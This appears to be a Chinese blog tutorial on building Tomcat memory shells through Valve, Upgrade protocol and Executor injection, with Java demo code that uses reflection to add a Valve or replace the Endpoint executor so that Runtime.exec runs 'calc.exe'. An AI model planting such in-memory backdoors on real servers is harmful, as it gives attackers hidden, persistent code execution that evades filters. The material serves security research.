Tomcat Valve
什么是 Valve 和 Pipeline
Tomcat中容器的pipeline机制 - coldridgeValley - 博客园
没错,V 社中的 V 就是 Valve 的缩写(阀),因此 steam (蒸汽)这个意思就很明确了 XD
在 Tomcat 中,Pipeline
和 Valve
是其处理请求的重要概念。
Pipeline
是一系列 Valve
的有序集合。它类似于一个处理请求的流水线,每个 Valve
都代表一个处理步骤。Valve
是 Pipeline
中的处理单元,负责执行特定的任务,例如身份验证、访问控制、日志记录、请求过滤等。
而 Tomcat
由 Connector
和 Container
组成,请求由 Connector
包装为 Request
后交 Container
处理,第一层是 Engine
容器。Engine
不直接调用 Host
处理请求,而是通过 Pipeline
组件。
Container
有 4 种:Engine
、Host
、Context
、Wrapper
,相互包含。4 种容器都有 Pipeline
组件,每个 Pipeline
至少有一个 BaseValve
作为连接下一个容器的桥梁。Pipeline
类似管道,Valve
类似阀门,可控制流向。
创建一个 Demo
直接用 SpringBoot 搭建一个。
然后再创建一个 test 目录,在下面创建:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.natro92.tomcatvalvebase.test;
import java.io.IOException; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.valves.ValveBase; import org.springframework.stereotype.Component;
@Component public class TestValve extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException { response.setContentType("text/plain"); response.setCharacterEncoding("UTF-8"); response.getWriter().write("Valve 被成功调用"); } }
|
再一个TestConfig
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package com.natro92.tomcatvalvebase.test;
import org.apache.catalina.Valve; import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory; import org.springframework.boot.web.server.WebServerFactoryCustomizer; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration;
@Configuration public class TestConfig { @Bean public WebServerFactoryCustomizer<TomcatServletWebServerFactory> tomcatCustomizer() { return factory -> { factory.addContextValves(getTestValve()); }; }
@Bean public Valve getTestValve() { return new TestValve(); } }
|
使用 Valve 打入内存马
使用的是ValveBase
,我们能注意到它实现的是Valve
接口:
其中接口代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package org.apache.catalina;
import java.io.IOException; import javax.servlet.ServletException; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response;
public interface Valve { public Valve getNext(); public void setNext(Valve valve); public void backgroundProcess(); public void invoke(Request request, Response response) throws IOException, ServletException; public boolean isAsyncSupported(); }
|
在TestValve
中断点invoke
函数。
调用的Standard
其中的StandardHostValve
中的:
和StandardEngineValve
的:
我们重新选择 StandardHostValve
这个位置打上断点:
step into 到getPipeline
函数。找到Pipeline
接口,发现有一个addValue
方法:
先找到在哪里继承了该接口,ctrl + H
查找继承。
org.apache.catalina.core.StandardPipeline
但是无法直接获取到这个StandardPipeline
,直接能获取到的是StandardContext
,而在StandardContext
中有org.apache.catalina.core.ContainerBase#getPipeline
方法。
因此我们呢可以通过反射获取到StandardContext
,然后通过StandardContext.getPipeline().addValve()
添加就可以了。当然,我们也可以反射获取StandardPipeline
,然后再addValve
。
Tomcat Upgrade 打入内存马
Tomcat 的 Upgrade 机制允许在 HTTP 连接上进行协议升级,这意味着你可以将一个标准的 HTTP 连接升级到其他协议,例如 WebSocket。
一个简单的 Tomcat Upgrade demo
使用 Springboot 创建
在 Valve 的项目删除 test 目录下的 TestValve,创建一个 TestUpgrade
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package com.natro92.tomcatvalvebase.test;
import org.apache.coyote.*; import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler; import org.apache.tomcat.util.net.SocketWrapperBase; import org.springframework.context.annotation.Configuration; import java.lang.reflect.Field; import java.nio.ByteBuffer;
@Configuration public class TestUpgrade implements UpgradeProtocol { @Override public String getHttpUpgradeName(boolean b) { return "hello"; }
@Override public byte[] getAlpnIdentifier() { return new byte[0]; }
@Override public String getAlpnName() { return null; }
@Override public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) { return null; }
@Override public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapper, Adapter adapter, Request request) { return null; }
public boolean accept(org.apache.coyote.Request request) {
try { Field response = org.apache.coyote.Request.class.getDeclaredField("response"); response.setAccessible(true); Response resp = (Response) response.get(request); resp.doWrite(ByteBuffer.wrap("\n\nHello, this my test Upgrade!\n\n".getBytes())); } catch (Exception ignored) {} return false; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.natro92.tomcatvalvebase.test;
import com.natro92.tomcatvalvebase.test.TestUpgrade; import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory; import org.springframework.boot.web.server.WebServerFactoryCustomizer; import org.springframework.stereotype.Component;
@Component public class TestConfig implements WebServerFactoryCustomizer<TomcatServletWebServerFactory> {
@Override public void customize(TomcatServletWebServerFactory factory) { factory.addConnectorCustomizers(connector -> { connector.addUpgradeProtocol(new TestUpgrade()); }); } }
|
运行之后,用命令行运行:
1
| curl -H "Connection: Upgrade" -H "Upgrade: hello" http:
|
Tomcat 搭建
只需要一个 TestUpgrade 即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package org.example;
import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.Request; import org.apache.coyote.Adapter; import org.apache.coyote.Processor; import org.apache.coyote.UpgradeProtocol; import org.apache.coyote.Response; import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler; import org.apache.tomcat.util.net.SocketWrapperBase; import java.lang.reflect.Field; import java.nio.ByteBuffer;
@WebServlet("/evil") public class TestUpgrade extends HttpServlet {
static class MyUpgrade implements UpgradeProtocol { @Override public String getHttpUpgradeName(boolean b) { return null; }
@Override public byte[] getAlpnIdentifier() { return new byte[0]; }
@Override public String getAlpnName() { return null; }
@Override public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) { return null; }
@Override public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, org.apache.coyote.Request request) { return null; }
@Override public boolean accept(org.apache.coyote.Request request) { try { Field response = org.apache.coyote.Request.class.getDeclaredField("response"); response.setAccessible(true); Response resp = (Response) response.get(request); resp.doWrite(ByteBuffer.wrap("Hello, this my test Upgrade!".getBytes())); } catch (Exception ignored) {} return false; } } @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) { try { RequestFacade rf = (RequestFacade) req; Field requestField = RequestFacade.class.getDeclaredField("request"); requestField.setAccessible(true); Request request1 = (Request) requestField.get(rf); new MyUpgrade().accept(request1.getCoyoteRequest()); } catch (Exception ignored) {} } }
|
Upgrade 内存马
Upgrade 内存马
Tomcat 架构原理解析到架构设计借鉴_牛客博客
为了防止被 Filter 等鉴权功能阻拦访问,需要在 Filter 之前就打入内存马。
Tomcat Executer 内存马
按照要求进行配置 Tomcat,如果前面忘了怎么配置可以看这个:
Java内存马之Servlet、Filter和Listener的开发基础
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package org.example;
import java.io.IOException; import java.util.concurrent.SynchronousQueue; import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.TimeUnit;
public class TestExecutor extends ThreadPoolExecutor {
public TestExecutor() { super(0, Integer.MAX_VALUE, 60L, TimeUnit.SECONDS, new SynchronousQueue<>()); }
@Override public void execute(Runnable command) { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { throw new RuntimeException(e); } super.execute(command); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package org.example;
import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
@WebServlet("/test") public class TestServlet extends HttpServlet { TestExecutor executor = new TestExecutor();
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) { executor.execute(() -> { System.out.println("Execute method triggered by accessing /test"); }); } }
|
流程分析
这里利用的是Endpoint
部件来实现。
Endpoint 的五大组件如下图。
组件 | 描述 |
---|
LimitLatch | 连接控制器,控制最大连接数 |
Acceptor | 接收新连接并返回给Poller 的Channel 对象 |
Poller | 监控Channel 状态,类似于NIO 中的Selector |
SocketProcessor | 封装的任务类,处理连接的具体操作 |
Executor | Tomcat 自定义线程池,用于执行任务类 |
Endpoint 的具体实现类是AbstractEndpoint
,而它的具体实现类有AprEndpoint
、Nio2Endpoint
、NioEndpoint
。
AprEndpoint | 使用APR 模式解决异步IO 问题,提高性能 | org.apache.tomcat.util.net.AprEndpoint |
---|
Nio2Endpoint | 使用代码实现异步IO | org.apache.tomcat.util.net.Nio2Endpoint |
NioEndpoint | 使用Java NIO 实现非阻塞IO | org.apache.tomcat.util.net.NioEndpoint |
需要先导入依赖:
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-coyote</artifactId> <version>9.0.83</version> </dependency>
|
Tomcat 默认启动时由 NioEndpoint
启动的。这个时默认中使用 NIO (非阻塞 I/O)方式进行网络通信的模块,负责监听处理请求连接,将解析字节流传给 Processor 进行处理。
我们查看java.util.concurrent.Executor
可以发现有一个execute
方法,ctrl + alt + F7
寻找相关实现。
在文档中寻找getExecutor
:
搜索调用,在该文件就有一个:
是在org.apache.tomcat.util.net.AbstractEndpoint#processSocket
中。
Tomcat原理系列之七:详解socket如何封装成request(下)
processSocket()
会根据(NioSocketWrapper)socket
创建一个SocketProcessor
处理器。SocketProcessor
本身实现了Runnable
接口。可以作为任务。被Endpoint
的Executor
线程池执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| try { if (socketWrapper == null) { return false; } SocketProcessorBase<S> sc = null; if (processorCache != null) { sc = processorCache.pop(); } if (sc == null) { sc = createSocketProcessor(socketWrapper, event); } else { sc.reset(socketWrapper, event); } Executor executor = getExecutor(); if (dispatch && executor != null) { executor.execute(sc); } else { sc.run(); } } catch (RejectedExecutionException ree) {
|
这里的需求是将原有的 executor
再通过 setExecutor
变成恶意 executor
,再通过我们最开始的execute
方法就可以执行 RCE。
但是这里的ServletRequest
需要经过Adapter
的封装后才可获得,这里还在Endpoint
阶段,其后面封装的ServletRequest
和ServletResponse
无法直接获取。
这里再用下java-object-researcher
。这里导入 jar 包,并且修改 TestServlet 的代码。这里如果你也可以直接放入 Java 的根目录然后导入 SDK:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package com.natro92;
import com.sun.org.apache.xpath.internal.compiler.Keywords;
import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import me.gv7.tools.josearcher.entity.Blacklist; import me.gv7.tools.josearcher.entity.Keyword; import me.gv7.tools.josearcher.searcher.SearchRequstByBFS; import javax.servlet.http.HttpServletResponse; import java.util.ArrayList; import java.util.List;
@WebServlet("/test") public class TestServlet extends HttpServlet { TestExecutor executor = new TestExecutor();
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) { executor.execute(() -> { System.out.println("Execute method triggered by accessing /test"); }); List<Keyword> keys = new ArrayList<>(); keys.add(new Keyword.Builder().setField_type("request").build()); List<Blacklist> blacklists = new ArrayList<>(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys); searcher.setBlacklists(blacklists); searcher.setIs_debug(true); searcher.setMax_search_depth(10); searcher.setReport_save_path("D:\\Workstation\\Env\\Java\\apache-tomcat-8.5.100"); searcher.searchObject(); } }
|
注意,这里在库文件导入之后,还需要将项目库导入到这个工件里面,否则会提示找不到类。
正常解决后。但是和上次一样还是找不到,我不懂啊,为什么这个我怎么一次也找不到🤔。
1 2 3 4 5 6 7 8 9 10 11
| TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [15] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> connections = {java.util.Map<U, org.apache.tomcat.util.net.SocketWrapperBase<S>>} ---> [java.nio.channels.SocketChannel[connected local=/0:0:0:0:0:0:0:1:8080 remote=/0:0:0:0:0:0:0:1:10770]] = {org.apache.tomcat.util.net.NioEndpoint$NioSocketWrapper} ---> socket = {org.apache.tomcat.util.net.NioChannel} ---> appReadBufHandler = {org.apache.coyote.http11.Http11InputBuffer} ---> request = {org.apache.coyote.Request}
|
在 org.apache.tomcat.util.net.NioEndpoint
这里下断点,然后步过就能找到 request
的位置。
注意这个能抓到很多次,只要找到一个有 stack 参数的即可,否则会出现 nioChannels 的 stack 参数全是空。
然后再点击上面的查看文本。
这就是为什么大多的 memshell
都把命令放到 header
中进行传入,而结果也放到 header
中进行传出。